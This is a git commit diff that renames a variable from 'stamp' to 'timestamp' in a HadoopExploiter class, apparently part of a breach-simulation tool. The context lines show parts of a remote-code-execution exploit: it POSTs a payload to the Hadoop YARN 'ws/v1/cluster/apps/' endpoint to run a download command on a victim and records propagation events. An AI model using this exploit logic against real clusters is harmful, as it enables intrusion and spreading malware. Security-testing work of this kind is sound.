Agent: Rename stamp to timestamp in Hadoop

This commit is contained in:
Ilija Lazoroski 2022-10-06 13:05:48 +02:00
parent 8f6df12d9c
commit 8bdb30dcfb
1 changed files with 6 additions and 6 deletions

View File

@ -65,7 +65,7 @@ class HadoopExploiter(WebRCE):
)
command = self._build_command(monkey_path_on_victim, http_path)
stamp = time()
timestamp = time()
try:
if self.exploit(self.vulnerable_urls[0], command):
@ -75,8 +75,8 @@ class HadoopExploiter(WebRCE):
except requests.RequestException as err:
error_message = str(err)
self._publish_exploitation_event(stamp, False, error_message=error_message)
self._publish_propagation_event(stamp, False, error_message=error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
@ -106,15 +106,15 @@ class HadoopExploiter(WebRCE):
self._set_interrupted()
return False
stamp = time()
timestamp = time()
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(stamp, success, error_message=message)
self._publish_propagation_event(stamp, success, error_message=message)
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
def check_if_exploitable(self, url):